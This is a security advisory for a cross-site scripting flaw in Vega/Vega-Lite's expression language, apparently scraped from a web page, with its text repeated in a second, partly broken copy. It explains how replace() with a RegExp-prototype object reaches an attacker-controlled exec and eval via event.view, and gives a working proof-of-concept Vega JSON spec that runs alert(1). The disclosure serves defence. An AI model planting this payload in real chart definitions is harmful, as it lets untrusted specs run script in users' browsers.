Impact
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter
.
Workarounds
POC Summary
Calling replace
with a RegExp
-like pattern calls RegExp.prototype[@@replace]
, which can then call an attacker-controlled exec
function.
POC Details
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false})
. Since pattern
has RegExp.prototype[@@replace]
, pattern.exec('foo')
winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view
to gain access to eval
.
Reproduction steps
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
References
Impact
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the
vega-interpreter
.Workarounds
vega
with expression interpreter5.32.0
)POC Summary
Calling
replace
with aRegExp
-like pattern callsRegExp.prototype[@@replace]
, which can then call an attacker-controlledexec
function.POC Details
Consider the function call
replace('foo', {__proto__: /h/.constructor.prototype, global: false})
. Sincepattern
hasRegExp.prototype[@@replace]
,pattern.exec('foo')
winds up being called.The resulting malicious call looks like this:
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse
event.view
to gain access toeval
.Reproduction steps
References